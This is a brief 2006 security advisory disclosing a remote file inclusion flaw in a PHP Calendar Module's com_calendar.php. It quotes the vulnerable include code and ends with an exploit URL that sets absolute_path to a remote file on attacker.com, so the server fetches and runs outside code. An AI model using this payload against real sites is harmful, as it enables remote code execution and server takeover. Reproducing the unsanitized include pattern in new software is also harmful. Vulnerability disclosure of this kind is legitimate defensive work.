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Calendar Module <= 1.5.7 Remote File Include Vulnerabilities |
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Monday, 17 July 2006 |
Author : Matdhule
Contact : matdhule (at) gmail (dot) com [email concealed]
Application : Calendar Module (com_calendar.php)
Version : 1.5.7
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Vulnerability:
In folder components we found vulnerability script com_calendar.php.
-----------------------com_calendar.php---------------------------------
//Configuration
include($absolute_path./components/calendar/cal_config.php);
if (!file_exists("language/calendar/".$lang."_calendar.php") ) {
die("Invalid Language");
} else {
include($absolute_path./language/calendar/.$lang._calendar.php);
}
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Variables $absolute_path are not properly sanitized. When register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.
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Exploit :
http://[target]/[path]/components/com_calendar.php?absolute_path=http://
attacker.com/evil.txt?
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